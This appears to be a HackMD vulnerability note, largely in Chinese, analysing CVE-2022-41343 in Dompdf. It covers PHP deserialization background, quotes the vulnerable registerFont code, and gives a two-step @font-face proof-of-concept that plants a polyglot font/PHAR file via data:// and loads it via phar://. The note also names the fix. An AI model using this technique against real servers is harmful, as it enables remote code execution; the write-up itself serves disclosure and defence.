Try   HackMD

CVE-2022-41343

tags: CVE Note MCL poc deserialize

registerFont in FontMetrics.php in Dompdf before 2.0.1 allows remote file inclusion because a URI validation failure does not halt font registration, as demonstrated by a @font-face rule.

affact Dompdf (, 2.0.1]

Abstract

Dompdf is a popular library in PHP used for rendering PDF files from HTML.

Background

Serialize(序列化)

將物件轉化為可以儲存與傳輸的格式,Ex: json, string

php 中的 serialize
python3 中的 json.dumps 與 pickle.dumps

Deserialize(反序列化)

將序列化後的資料轉回物件型態

php 中的 unserialize
python3 中的 json.loads 與 pickle.loads

但如果資料是可控的,有機會造成在 deserialize 回物件時呼叫 magic function,當 function 與 arguments 都可控的情況下會造成 RCE

  • php unserialize magic function
    • __toString()
      • Invoked when object is converted to a string. (by echo for example)
    • __destruct()
      • Invoked when an object is deleted. When no reference to the deserialised object instance exists, __destruct() is called.
    • __wakeup()
      • Invoked when an object is unserialised. automatically called upon object deserialisation.
    • __call()
      • will be called if the object attempts to call an inexistent function
  • python3 pickle magic function
    • __reduce__

PHAR(PHP Archive)

一種打包格式,是將 php code 與其他資源打包進 PHAR 文件中,當 php 解析此種文件時,會進行反序列化

Methology

CVE-2022-28368

DomPdf v1.2.1 CVE-2022-28368 曾揭露了一項 RCE 漏洞,成因是DomPdf 有個選項是允許使用者使用遠端的字型檔,若是有打開且引用了外部字型檔,會讓字型檔的 cache 留在 server 電腦中,但是他卻沒對字型的安全性做驗證,導致一項任意上傳的漏洞,而檔案會以 [font_name]_[font_weight]_[md5(src:url)].[ext] 這樣的形式存在於 /vendor/dompdf/dompdf/lib/fonts/

patch
patch 的方式是檔案尾巴加上.ttf

那還是可以任意上傳到 server,那如果我們上傳 phar:// 類型的檔案是不是就能 RCE ?

CVE-2021-3838

可惜在 CVE-2021-3838 中就已經先提出過這項問題了

Helpers::getFileContent() 下載文件之前,會先驗證 protocal 是否在 $allowedProtocols 裡面,如果檢查失敗,會記錄一條警告消息,並且 return 而不會處理該文件

code

    public function __construct(array $attributes = null)
    {
    ...
        $this->setAllowedProtocols(["file://", "http://", "https://"]);
    ...

CVE-2022-41343

但真的檢查下去卻發現,在 registerFont() 中卻缺少了錯誤的 return,代表說我們又能使用 phar://

FontMetrics.php

public function registerFont($style, $remoteFile, $context = null)
{
    $fontname = mb_strtolower($style["family"]);
    $families = $this->getFontFamilies();
    ...
    // Download the remote file
    [$protocol] = Helpers::explode_url($remoteFile);
    $allowed_protocols = $this->options->getAllowedProtocols();
    if (!array_key_exists($protocol, $allowed_protocols)) {
        Helpers::record_warnings(E_USER_WARNING, "Permission denied on $remoteFile. The communication protocol is not supported.", __FILE__, __LINE__);
    }

    foreach ($allowed_protocols[$protocol]["rules"] as $rule) {
        [$result, $message] = $rule($remoteFile);
        if ($result !== true) {
            // warning 卻沒 return
            Helpers::record_warnings(E_USER_WARNING, "Error loading $remoteFile: $message", __FILE__, __LINE__);
        }
    }
    // 那我們可以成功將指定 file 餵給 Helpers::getFileContent
    list($remoteFileContent, $http_response_header) = @Helpers::getFileContent($remoteFile, $context);
    if ($remoteFileContent === null) {
        return false;
    }
    ...

那我們接下來看 Helpers::getFileContents()

我們可以先觸發 Helpers::encodeURI 讓檔案存在 server 的 disk 中,再觸發 file_get_contents 將檔案 include 進去達成反序列化

Help.php

 public static function getFileContent($uri, $context = null, $offset = 0, $maxlen = null)
    {
        $content = null;
        $headers = null;
        [$protocol] = Helpers::explode_url($uri);
        $is_local_path = in_array(strtolower($protocol), ["", "file://", "phar://"], true);
        $can_use_curl = in_array(strtolower($protocol), ["http://", "https://"], true);

        set_error_handler([self::class, 'record_warnings']);

        try {
            if ($is_local_path || ini_get('allow_url_fopen') || !$can_use_curl) {
                // 第一步
                if ($is_local_path === false) {
                    $uri = Helpers::encodeURI($uri);
                }
                // 第二步
                if (isset($maxlen)) {
                    $result = file_get_contents($uri, false, $context, $offset, $maxlen);
                } else {
                    $result = file_get_contents($uri, false, $context, $offset);
                }
                if ($result !== false) {
                    $content = $result;
                }
                if (isset($http_response_header)) {
                    $headers = $http_response_header;
                }
  1. 利用 data:// 上傳
  2. 利用 phar:// 執行反序列化

Poc

<style>
@font-face {
    font-family:'exploit';
    src:url('data:text/plain;base64,double_url_encode([BASE64_POLYGLOT_TRUETYPE-PHAR])');
    font-weight:'normal';
    font-style:'normal';
}
</style>
<style>
@font-face {
    font-family:'exploit';
    src:url('phar://path/to/app/vendor/dompdf/dompdf/lib/fonts/exploit_normal_[md5(data:text/plain;base64,[BASE64_POLYGLOT_TRUETYPE-PHAR])].ttf##');
    font-weight:'normal';
    font-style:'normal';
}
</style>

Patch

加上 return false 就好了

Reference

CVE-2022-41343